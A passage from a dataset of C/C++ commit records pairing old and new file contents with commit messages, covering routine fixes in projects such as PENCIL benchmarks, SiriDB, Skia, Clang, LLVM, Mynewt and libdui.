      unsigned char pixel = image[r][c];\n            ++hist[pixel];\n        }\n    }\n#pragma endscop\n}\n\nvoid pencil_calcHist( const int rows, const int cols, const int step, const unsigned char image[], int hist[HISTOGRAM_BINS])\n{\n    calcHist( rows, cols, step, (const unsigned char(*)[step])image, hist);\n}\n","new_contents":"#include \"histogram.pencil.h\"\n#include <pencil.h>\n\nvoid atomic_inc(int *v);\n\n#ifndef __PENCIL__\nvoid atomic_inc(int *v)\n{\n    (*v)++;\n}\n#endif\n\nstatic void calcHist( const int rows\n                    , const int cols\n                    , const int step\n                    , const unsigned char image[static const restrict rows][step]\n                    , int hist[static const restrict HISTOGRAM_BINS]    \/\/out\n                    )\n{\n#pragma scop\n    __pencil_assume(rows >  0);\n    __pencil_assume(cols >  0);\n    __pencil_assume(step >= cols);\n\n    __pencil_kill(hist);\n\n    #pragma pencil independent\n    for(int b = 0; b < HISTOGRAM_BINS; ++b)\n        hist[b] = 0;\n\n    #pragma pencil independent\n    for(int r = 0; r < rows; ++r)\n    {\n        #pragma pencil independent\n        for(int c = 0; c < cols; ++c)\n        {\n            unsigned char pixel = image[r][c];\n            atomic_inc(&hist[pixel]);\n        }\n    }\n\n    __pencil_kill(image);\n#pragma endscop\n}\n\nvoid pencil_calcHist( const int rows, const int cols, const int step, const unsigned char image[], int hist[HISTOGRAM_BINS])\n{\n    calcHist( rows, cols, step, (const unsigned char(*)[step])image, hist);\n}\n","subject":"Use atomic_inc function in histogram instead of reductions (which are not supported by PPCG)","message":"Use atomic_inc function in histogram instead of reductions (which are not supported by PPCG)\n\n\nFormer-commit-id: ff28bc0ff228606ed66e2cc1214aeff7f7f84f3b","lang":"C","license":"mit","repos":"rbaghdadi\/pencil-benchmark,pencil-language\/pencil-benchmark,dividiti\/pencil-benchmark,pencil-language\/pencil-benchmark,pencil-language\/pencil-benchmark,dividiti\/pencil-benchmark,dividiti\/pencil-benchmark,rbaghdadi\/pencil-benchmark,rbaghdadi\/pencil-benchmark"}
{"commit":"e56c3f36194858d81ac2be3c9bf26cdb54df9dc1","old_file":"emu\/src\/process.h","new_file":"emu\/src\/process.h","old_contents":"#ifndef EMULATOR_PROCESS_H\n\n#include <pthread.h>\n#include <stdarg.h>\n\n#define MAX_ARGS 8\n\n\/\/ A transputer process (more like a thread)\ntypedef struct {\n    pthread_t thread;\n    void* args[MAX_ARGS];\n    void (*func)();\n} Process;\n\n\/\/ Create a new process, with entry point 'func' and given stacksize. The\n\/\/ 'nargs' arguments are passed to 'func' upon startup.\nProcess *ProcAlloc (void (*func)(), int stacksize, int nargs, ...);\n\n\/\/ Start the process 'p'\nvoid ProcRun (Process *p);\n\n\/\/ Yield the rest of the time-slice to another process\nvoid ProcReschedule();\n\n#define EMULATOR_PROCESS_H\n#endif \/\/ EMULATOR_PROCESS_H\n\n","new_contents":"#ifndef EMULATOR_PROCESS_H\n\n#include <pthread.h>\n\/\/ OS X does not support pthread_yield(), only pthread_yield_np()\n#if defined(__APPLE__) || defined(__MACH__)\n#define pthread_yield() pthread_yield_np()\n#endif\n\n#include <stdarg.h>\n\n#define MAX_ARGS 8\n\n\/\/ A transputer process (more like a thread)\ntypedef struct {\n    pthread_t thread;\n    void* args[MAX_ARGS];\n    void (*func)();\n} Process;\n\n\/\/ Create a new process, with entry point 'func' and given stacksize. The\n\/\/ 'nargs' arguments are passed to 'func' upon startup.\nProcess *ProcAlloc (void (*func)(), int stacksize, int nargs, ...);\n\n\/\/ Start the process 'p'\nvoid ProcRun (Process *p);\n\n\/\/ Yield the rest of the time-slice to another process\nvoid ProcReschedule();\n\n#define EMULATOR_PROCESS_H\n#endif \/\/ EMULATOR_PROCESS_H\n\n","subject":"Fix pthread_yield() not supported by OS X","message":"Fix pthread_yield() not supported by OS X\n\nSee here for further reference:\nhttps:\/\/github.com\/01org\/ocr\/issues\/28\n\nAnd here for the diff between pthread_yield() and pthread_yield_np():\nhttp:\/\/www.linuxquestions.org\/questions\/programming-9\/pthread_yield-vs-pthread_yield_np-469283\/\n","lang":"C","license":"mit","repos":"noqu\/vbb,noqu\/vbb"}
{"commit":"5c020deef2ee09fe0abe00ad533fba9a2411dd4a","old_file":"include\/siri\/grammar\/gramp.h","new_file":"include\/siri\/grammar\/gramp.h","old_contents":"\/*\n * gramp.h - SiriDB Grammar Properties.\n *\n * Note: we need this file up-to-date with the grammar. The grammar has\n *       keywords starting with K_ so the will all be sorted.\n *       KW_OFFSET should be set to the first keyword and KW_COUNT needs the\n *       last keyword in the grammar.\n *\n *\/\n#ifndef SIRI_GRAMP_H_\n#define SIRI_GRAMP_H_\n\n#include <siri\/grammar\/grammar.h>\n\n\/* keywords *\/\n#define KW_OFFSET CLERI_GID_K_ACCESS\n#define KW_COUNT CLERI_GID_K_WRITE + 1 - KW_OFFSET\n\n\/* aggregation functions *\/\n#define F_OFFSET CLERI_GID_F_COUNT\n\n\/* help statements *\/\n#define HELP_OFFSET CLERI_GID_HELP_ACCESS\n#define HELP_COUNT CLERI_GID_HELP_TIMEZONES + 1 - HELP_OFFSET\n\n\n\n#if CLERI_VERSION_MINOR >= 12\n#define CLERI_NODE_DATA(__node) ((intptr_t)(__node)->data)\n#define CLERI_NODE_DATA_ADDR(__node) ((intptr_t *) &(__node)->data)\n#else\n#define CLERI_NODE_DATA(__node) ((intptr_t)(__node)->result)\n#define CLERI_NODE_DATA_ADDR(__node) ((intptr_t *) &(__node)->result)\n#endif\n\n#endif  \/* SIRI_GRAMP_H_ *\/\n","new_contents":"\/*\n * gramp.h - SiriDB Grammar Properties.\n *\n * Note: we need this file up-to-date with the grammar. The grammar has\n *       keywords starting with K_ so the will all be sorted.\n *       KW_OFFSET should be set to the first keyword and KW_COUNT needs the\n *       last keyword in the grammar.\n *\n *\/\n#ifndef SIRI_GRAMP_H_\n#define SIRI_GRAMP_H_\n\n#include <siri\/grammar\/grammar.h>\n\n\/* keywords *\/\n#define KW_OFFSET CLERI_GID_K_ACCESS\n#define KW_COUNT CLERI_GID_K_WRITE + 1 - KW_OFFSET\n\n\/* aggregation functions *\/\n#define F_OFFSET CLERI_GID_F_COUNT\n\n\/* help statements *\/\n#define HELP_OFFSET CLERI_GID_HELP_ACCESS\n#define HELP_COUNT CLERI_GID_HELP_TIMEZONES + 1 - HELP_OFFSET\n\n\n\n#if CLERI_VERSION_MINOR >= 12\n#define CLERI_NODE_DATA(__node) ((intptr_t)(__node)->data)\n#define CLERI_NODE_DATA_ADDR(__node) ((intptr_t *) &(__node)->data)\n#else\n#define CLERI_NODE_DATA(__node) (__node)->result\n#define CLERI_NODE_DATA_ADDR(__node) &(__node)->result\n#endif\n\n#endif  \/* SIRI_GRAMP_H_ *\/\n","subject":"Update compat with old libcleri","message":"Update compat with old libcleri\n","lang":"C","license":"mit","repos":"transceptor-technology\/siridb-server,transceptor-technology\/siridb-server,transceptor-technology\/siridb-server,transceptor-technology\/siridb-server"}
{"commit":"87ae35cd89a8176b9fef8d1848bc7f6ef2ff41d2","old_file":"include\/utils\/SkNullCanvas.h","new_file":"include\/utils\/SkNullCanvas.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkNullCanvas_DEFINED\n#define SkNullCanvas_DEFINED\n\n#include \"SkBitmap.h\"\n\nclass SkCanvas;\n\n\/**\n * Creates a canvas that draws nothing. This is useful for performance testing.\n *\/\nSkCanvas* SkCreateNullCanvas();\n\n#endif\n","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkNullCanvas_DEFINED\n#define SkNullCanvas_DEFINED\n\n#include \"SkBitmap.h\"\n\nclass SkCanvas;\n\n\/**\n * Creates a canvas that draws nothing. This is useful for performance testing.\n *\/\nSK_API SkCanvas* SkCreateNullCanvas();\n\n#endif\n","subject":"Add SK_API to null canvas create method","message":"Add SK_API to null canvas create method\n\n\n","lang":"C","license":"bsd-3-clause","repos":"csulmone\/skia,csulmone\/skia,csulmone\/skia,csulmone\/skia"}
{"commit":"e3757fde740764ed5b1be40aefb5594e6aef4cfb","old_file":"Core\/include\/TexCompTypes.h","new_file":"Core\/include\/TexCompTypes.h","old_contents":"\/\/ Copyright 2012 (c) Pavel Krajcevski\n\/\/ BC7IntTypes.h\n\n\/\/ This file contains all of the various platform definitions for fixed width integers\n\/\/ on various platforms.\n\n\/\/ !FIXME! Still needs to be tested on Windows platforms.\n#ifndef _TEX_COMP_TYPES_H_\n#define _TEX_COMP_TYPES_H_\n\n\/\/ Windows?\n#ifdef _MSC_VER\n\ntypedef __int16 int16;\ntypedef __uint16 uint16;\ntypedef __int32 int32;\ntypedef __uint32 uint32;\ntypedef __int8 int8;\ntypedef __uint8 uint8;\n\ntypedef __uint64 uint64;\ntypedef __int64 int64;\n\ntypedef __int32_ptr int32_ptr;\n\n\/\/ If not, assume GCC, or at least standard defines...\n#else \n\n#include <stdint.h>\n\ntypedef int8_t int8;\ntypedef int16_t int16;\ntypedef int32_t int32;\ntypedef int64_t int64;\n\ntypedef uint8_t uint8;\ntypedef uint16_t uint16;\ntypedef uint32_t uint32;\ntypedef uint64_t uint64;\n\ntypedef uintptr_t int32_ptr;\ntypedef char CHAR;\n\n#endif \/\/ _MSC_VER\n\n#endif \/\/ _TEX_COMP_TYPES_H_\n","new_contents":"\/\/ Copyright 2012 (c) Pavel Krajcevski\n\/\/ BC7IntTypes.h\n\n\/\/ This file contains all of the various platform definitions for fixed width integers\n\/\/ on various platforms.\n\n\/\/ !FIXME! Still needs to be tested on Windows platforms.\n#ifndef _TEX_COMP_TYPES_H_\n#define _TEX_COMP_TYPES_H_\n\n\/\/ Windows?\n#ifdef _MSC_VER\n\ntypedef __int16 int16;\ntypedef unsigned __int16 uint16;\ntypedef __int32 int32;\ntypedef unsigned __int32 uint32;\ntypedef __int8 int8;\ntypedef unsigned __int8 uint8;\n\ntypedef unsigned __int64 uint64;\ntypedef __int64 int64;\n\n#include <tchar.h>\ntypedef TCHAR CHAR;\n\n\/\/ If not, assume GCC, or at least standard defines...\n#else \n\n#include <stdint.h>\n\ntypedef int8_t int8;\ntypedef int16_t int16;\ntypedef int32_t int32;\ntypedef int64_t int64;\n\ntypedef uint8_t uint8;\ntypedef uint16_t uint16;\ntypedef uint32_t uint32;\ntypedef uint64_t uint64;\n\ntypedef char CHAR;\n\n#endif \/\/ _MSC_VER\n\n#endif \/\/ _TEX_COMP_TYPES_H_\n","subject":"Fix MSVC interpretation of our types.","message":"Fix MSVC interpretation of our types.\n","lang":"C","license":"apache-2.0","repos":"GammaUNC\/FasTC,GammaUNC\/FasTC,GammaUNC\/FasTC,GammaUNC\/FasTC"}
{"commit":"206caf539d9e7e426dbfc3936e49a72601500375","old_file":"test\/CodeGen\/statements.c","new_file":"test\/CodeGen\/statements.c","old_contents":"\/\/ RUN: %clang_cc1 -Wreturn-type %s -emit-llvm-only\n\nvoid test1(int x) {\nswitch (x) {\ncase 111111111111111111111111111111111111111:\nbar();\n}\n}\n\n\/\/ Mismatched type between return and function result.\nint test2() { return; }\nvoid test3() { return 4; }\n\n\nvoid test4() {\nbar:\nbaz:\nblong:\nbing:\n ;\n\n\/\/ PR5131\nstatic long x = &&bar - &&baz;\nstatic long y = &&baz;\n  &&bing;\n  &&blong;\n  if (y)\n    goto *y;\n\n  goto *x;\n}\n\n\/\/ PR3869\nint test5(long long b) {\n  static void *lbls[] = { &&lbl };\n  goto *b;\n lbl:\n  return 0;\n}\n\n","new_contents":"\/\/ RUN: rm -f %S\/statements.ll\n\/\/ RUN: %clang_cc1 -Wreturn-type %s -emit-llvm-only\n\nvoid test1(int x) {\nswitch (x) {\ncase 111111111111111111111111111111111111111:\nbar();\n}\n}\n\n\/\/ Mismatched type between return and function result.\nint test2() { return; }\nvoid test3() { return 4; }\n\n\nvoid test4() {\nbar:\nbaz:\nblong:\nbing:\n ;\n\n\/\/ PR5131\nstatic long x = &&bar - &&baz;\nstatic long y = &&baz;\n  &&bing;\n  &&blong;\n  if (y)\n    goto *y;\n\n  goto *x;\n}\n\n\/\/ PR3869\nint test5(long long b) {\n  static void *lbls[] = { &&lbl };\n  goto *b;\n lbl:\n  return 0;\n}\n\n","subject":"Clean up in buildbot directories.","message":"Clean up in buildbot directories.\n\nThis test created a statements.ll file until about a month ago. Some buildbots\nstill have this file in their source dir. This is the easiest way to remove the\nfile on all bots. Then I'll revert.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@113814 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"6ea796c6cae61f9c45d4a85e84ce619b83788934","old_file":"libs\/console\/src\/cons_fmt.c","new_file":"libs\/console\/src\/cons_fmt.c","old_contents":"\/**\n * Copyright (c) 2015 Runtime Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <stdarg.h>\n#include <stdio.h>\n#include <console\/console.h>\n\n#define CONS_OUTPUT_MAX_LINE\t128\n\nvoid console_printf(const char *fmt, ...)\n{\n    va_list args;\n    char buf[CONS_OUTPUT_MAX_LINE];\n    int len;\n\n    va_start(args, fmt);\n    len = vsnprintf(buf, sizeof(buf), fmt, args);\n    va_end(args);\n\n    if (len >= sizeof(buf)) {\n        len = sizeof(buf) - 1;\n    }\n    if (buf[len - 1] != '\\n') {\n        if (len != sizeof(buf) - 1) {\n            len++;\n        }\n        buf[len - 1] = '\\n';\n    }\n    console_write(buf, len);\n}\n","new_contents":"\/**\n * Copyright (c) 2015 Runtime Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include <stdarg.h>\n#include <stdio.h>\n#include <console\/console.h>\n#include <os\/os_time.h>\n\n#define CONS_OUTPUT_MAX_LINE\t128\n\nvoid console_printf(const char *fmt, ...)\n{\n    va_list args;\n    char buf[CONS_OUTPUT_MAX_LINE];\n    int len;\n\n    len = snprintf(buf, sizeof(buf), \"%lu:\", os_time_get());\n    console_write(buf, len);\n\n    va_start(args, fmt);\n    len = vsnprintf(buf, sizeof(buf), fmt, args);\n    va_end(args);\n\n    if (len >= sizeof(buf)) {\n        len = sizeof(buf) - 1;\n    }\n    if (buf[len - 1] != '\\n') {\n        if (len != sizeof(buf) - 1) {\n            len++;\n        }\n        buf[len - 1] = '\\n';\n    }\n    console_write(buf, len);\n}\n","subject":"Add timestamp to output in the beginning of output.","message":"Add timestamp to output in the beginning of output.\n","lang":"C","license":"apache-2.0","repos":"mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,wes3\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,wes3\/incubator-mynewt-core,mlaz\/mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,mlaz\/mynewt-core,IMGJulian\/incubator-mynewt-core,wes3\/incubator-mynewt-core"}
{"commit":"a765e158458a4ecf6876d2513e1cfa8e705afb0d","old_file":"Queue\/link_list_queue.c","new_file":"Queue\/link_list_queue.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <stdbool.h>\n\/* This is Stack Implementation using a Linked list *\/\n#define MAXSIZE 101\n#define BOOL_PRINT(bool_expr) \"%s\\n\", (bool_expr) ? \"true\" : \"false\"\n\ntypedef struct node{\n\tint data;\n\tstruct node* link;\n} node;\n\nnode* head; \/\/global variable\n\nnode* create_newnode(int x){\n\t\tnode* temp;\n\t\ttemp = (node*) malloc (sizeof(node));\n\t\ttemp->data =x;\n\t\ttemp->link=NULL;\n\t\treturn temp;\n\t\n}\n\n\nvoid enq(int data){\n\t\/\/this is equivalent to add a node at end of the linked list\n\tif(isEmpty()){\n\tnode* temp;\n\ttemp =create_newnode(data);\n\ttemp->link = head;\n\thead = temp;\t\n\t}\n\n\telse{\n\tnode* temp;\n\ttemp =create_newnode(data);\n\tnode* last = head;\n\twhile(last->link!=NULL){\n\t\tlast=last->link;\n\t}\n\tlast->link = temp;\n\n\t}\n\n\t\n}\n\nint deq(){\n\t\/\/this is equivalent to delete a node at begining of the linked list\n\tif(head != NULL ){\n\tnode* temp = head;\n\thead = temp->link;\n\treturn temp->data;\n\t}\n\n\telse{\n\t\tprintf(\"Error: queue is empty \\n\");\n\t\treturn -1;\n\t}\n}\n\n\nint isEmpty(){\n\t\/\/this is equivalent to checking if the linked list is empty\n\tif(head != NULL) return false;\n\telse return true;\n}\n\nvoid q_print(){\n\n\t\/\/this is equivalent to printing a linked list while traversing\n\tprintf(\"queue is : \");\n\n\tnode* temp = head;\n\twhile(temp != NULL){\n\t\tprintf(\"%d \", temp->data);\n\t\ttemp = temp->link;\n\t}\n\tprintf(\"\\n\");\n}\n\nint main(){\n\t\n\tint i;\n\tprintf(\"is queue empty? \\n\");\n\tprintf(BOOL_PRINT(isEmpty()));\n\t\n\tenq(10);\n\tenq(11);\n\tenq(12);\n\tenq(15);\n\n\ti = deq();\n\tprintf(\"first in queue is %d\\n\",i );\n\n\tq_print(); \n\n\treturn 0;\n}","subject":"Add linked list implementation of queue","message":"Add linked list implementation of queue\n","lang":"C","license":"mit","repos":"anaghajoshi\/C_DataStructures_Algorithms"}
{"commit":"700975bc9b076bd9095326bb1c0e19b8763584ff","old_file":"include\/llvm\/Analysis\/BasicAliasAnalysis.h","new_file":"include\/llvm\/Analysis\/BasicAliasAnalysis.h","old_contents":"\/\/===- llvm\/Analysis\/BasicAliasAnalysis.h - Alias Analysis Impl -*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines the default implementation of the Alias Analysis interface\n\/\/ that simply implements a few identities (two different globals cannot alias,\n\/\/ etc), but otherwise does no analysis.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n#define LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Pass.h\"\n\nstruct BasicAliasAnalysis : public FunctionPass, public AliasAnalysis {\n  \n  \/\/ Pass Implementation stuff.  This isn't much of a pass.\n  \/\/\n  bool runOnFunction(Function &) { return false; }\n    \n  \/\/ getAnalysisUsage - Does not modify anything.\n  \/\/\n  virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n    AU.setPreservesAll();\n  }\n  \n  \/\/ alias - This is the only method here that does anything interesting...\n  \/\/\n  Result alias(const Value *V1, const Value *V2) const;\n    \n  \/\/\/ canCallModify - We are not interprocedural, so we do nothing exciting.\n  \/\/\/\n  Result canCallModify(const CallInst &CI, const Value *Ptr) const {\n    return MayAlias;\n  }\n    \n  \/\/\/ canInvokeModify - We are not interprocedural, so we do nothing exciting.\n  \/\/\/\n  Result canInvokeModify(const InvokeInst &I, const Value *Ptr) const {\n    return MayAlias;  \/\/ We are not interprocedural\n  }\n};\n\n#endif\n","new_contents":"\/\/===- llvm\/Analysis\/BasicAliasAnalysis.h - Alias Analysis Impl -*- C++ -*-===\/\/\n\/\/\n\/\/ This file defines the default implementation of the Alias Analysis interface\n\/\/ that simply implements a few identities (two different globals cannot alias,\n\/\/ etc), but otherwise does no analysis.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n#define LLVM_ANALYSIS_BASIC_ALIAS_ANALYSIS_H\n\n#include \"llvm\/Analysis\/AliasAnalysis.h\"\n#include \"llvm\/Pass.h\"\n\nstruct BasicAliasAnalysis : public ImmutablePass, public AliasAnalysis {\n  \n  \/\/ Pass Implementation stuff.  This isn't much of a pass.\n  \/\/\n  bool runOnFunction(Function &) { return false; }\n    \n  \/\/ getAnalysisUsage - Does not modify anything.\n  \/\/\n  virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n    AU.setPreservesAll();\n  }\n  \n  \/\/ alias - This is the only method here that does anything interesting...\n  \/\/\n  Result alias(const Value *V1, const Value *V2) const;\n    \n  \/\/\/ canCallModify - We are not interprocedural, so we do nothing exciting.\n  \/\/\/\n  Result canCallModify(const CallInst &CI, const Value *Ptr) const {\n    return MayAlias;\n  }\n    \n  \/\/\/ canInvokeModify - We are not interprocedural, so we do nothing exciting.\n  \/\/\/\n  Result canInvokeModify(const InvokeInst &I, const Value *Ptr) const {\n    return MayAlias;  \/\/ We are not interprocedural\n  }\n};\n\n#endif\n","subject":"Convert BasicAA to be an immutable pass instead of a FunctionPass","message":"Convert BasicAA to be an immutable pass instead of a FunctionPass\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@3922 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm"}
{"commit":"4ced8ab4d70ab9c420e0f22a2668f4a58fc76d40","old_file":"spotify-fs.c","new_file":"spotify-fs.c","old_contents":"#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <pthread.h>\n#include <errno.h>\n#include \"spotify-fs.h\"\n\nint main(int argc, char *argv[])\n{\n\tint retval = 0;\n\tchar *password = NULL;\n\tchar *username = malloc(SPOTIFY_USERNAME_MAXLEN);\n\tif ((getuid() == 0) || (geteuid() == 0)) {\n\t\tfprintf(stderr, \"Running %s as root is not a good idea\\n\", application_name);\n\t\treturn 1;\n\t}\n\tprintf(\"spotify username: \");\n\tusername = fgets(username, SPOTIFY_USERNAME_MAXLEN, stdin);\n\tpassword = getpass(\"spotify password: \");\n\tif (strlen(password) <= 0)\n\t{\n\t\tpassword = NULL;\n\t}\n\n\t\/* should we do something about this, really?\n\t * Maybe put error logging here instead of in\n\t * spotify_session_init()*\/\n\t(void) spotify_session_init(username, password, NULL);\n\tretval = fuse_main(argc, argv, &spfs_operations, NULL);\n\treturn retval;\n}\n","new_contents":"#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n#include <pthread.h>\n#include <errno.h>\n#include \"spotify-fs.h\"\n\nint main(int argc, char *argv[])\n{\n\tint retval = 0;\n\tchar *password = NULL;\n\tchar *username = malloc(SPOTIFY_USERNAME_MAXLEN);\n\tif ((getuid() == 0) || (geteuid() == 0)) {\n\t\tfprintf(stderr, \"Running %s as root is not a good idea\\n\", application_name);\n\t\treturn 1;\n\t}\n\tprintf(\"spotify username: \");\n\tusername = fgets(username, SPOTIFY_USERNAME_MAXLEN, stdin);\n\tlong username_len = strlen(username);\n\tif(username[username_len-1] == '\\n') {\n\t\tusername[username_len-1] = '\\0';\n\t}\n\tpassword = getpass(\"spotify password: \");\n\tif (strlen(password) <= 0)\n\t{\n\t\tpassword = NULL;\n\t}\n\n\t\/* should we do something about this, really?\n\t * Maybe put error logging here instead of in\n\t * spotify_session_init()*\/\n\t(void) spotify_session_init(username, password, NULL);\n\tretval = fuse_main(argc, argv, &spfs_operations, NULL);\n\treturn retval;\n}\n","subject":"Trim newline off of username","message":"fs: Trim newline off of username\n\nAnton, be prepared to do cleanup commits after my mess.\n\nSigned-off-by: Carl Helmertz <d78a787955449ad50f586e5155db5f9260d297a8@gmail.com>\n","lang":"C","license":"bsd-3-clause","repos":"raoulh\/spotifile,chelmertz\/spotifile,catharsis\/spotifile,raoulh\/spotifile,raoulh\/spotifile,chelmertz\/spotifile,catharsis\/spotifile,catharsis\/spotifile,chelmertz\/spotifile"}
{"commit":"1d7cf43c8a668c22d053595702d241dc937c4142","old_file":"src\/animation\/scene\/duipageswitchanimation_p.h","new_file":"src\/animation\/scene\/duipageswitchanimation_p.h","old_contents":"\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libdui.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#ifndef DUIPAGESWITCHANIMATION_P_H\n#define DUIPAGESWITCHANIMATION_P_H\n\n#include \"duipageswitchanimation.h\"\n#include \"duiparallelanimationgroup_p.h\"\n\nclass DuiSceneWindow;\nclass QPropertyAnimation;\n\nclass DuiPageSwitchAnimationPrivate : public DuiParallelAnimationGroupPrivate\n{\n    Q_DECLARE_PUBLIC(DuiPageSwitchAnimation)\npublic:\n    DuiSceneWindow *sceneWindow;\n\nprotected:\n    DuiSceneWindow *newPage;\n    DuiSceneWindow *oldPage;\n\n    QPropertyAnimation *positionNewPageAnimation;\n    QPropertyAnimation *positionOldPageAnimation;\n\n    DuiPageSwitchAnimation::PageTransitionDirection direction;\n};\n\n#endif\n","new_contents":"\/***************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (directui@nokia.com)\n**\n** This file is part of libdui.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at directui@nokia.com.\n**\n** This library is free software; you can redistribute it and\/or\n** modify it under the terms of the GNU Lesser General Public\n** License version 2.1 as published by the Free Software Foundation\n** and appearing in the file LICENSE.LGPL included in the packaging\n** of this file.\n**\n****************************************************************************\/\n\n#ifndef DUIPAGESWITCHANIMATION_P_H\n#define DUIPAGESWITCHANIMATION_P_H\n\n#include \"duipageswitchanimation.h\"\n#include \"duiparallelanimationgroup_p.h\"\n#include <QPointer>\n\nclass DuiSceneWindow;\nclass QPropertyAnimation;\n\nclass DuiPageSwitchAnimationPrivate : public DuiParallelAnimationGroupPrivate\n{\n    Q_DECLARE_PUBLIC(DuiPageSwitchAnimation)\npublic:\n    DuiSceneWindow *sceneWindow;\n\nprotected:\n    QPointer<DuiSceneWindow> newPage;\n    QPointer<DuiSceneWindow> oldPage;\n\n    QPropertyAnimation *positionNewPageAnimation;\n    QPropertyAnimation *positionOldPageAnimation;\n\n    DuiPageSwitchAnimation::PageTransitionDirection direction;\n};\n\n#endif\n","subject":"Make DuiPageSwitchAnimation not use dangling pointers.","message":"Changes: Make DuiPageSwitchAnimation not use dangling pointers.\n\nRevBy: TrustMe\nDetails: That was causing a crash if it had pointers to pages\nthat had been deleted.\n","lang":"C","license":"lgpl-2.1","repos":"nemomobile-graveyard\/libmeegotouch,nemomobile-graveyard\/libmeegotouch,nemomobile-graveyard\/libmeegotouch,nemomobile-graveyard\/libmeegotouch,nemomobile-graveyard\/libmeegotouch,nemomobile-graveyard\/libmeegotouch"}
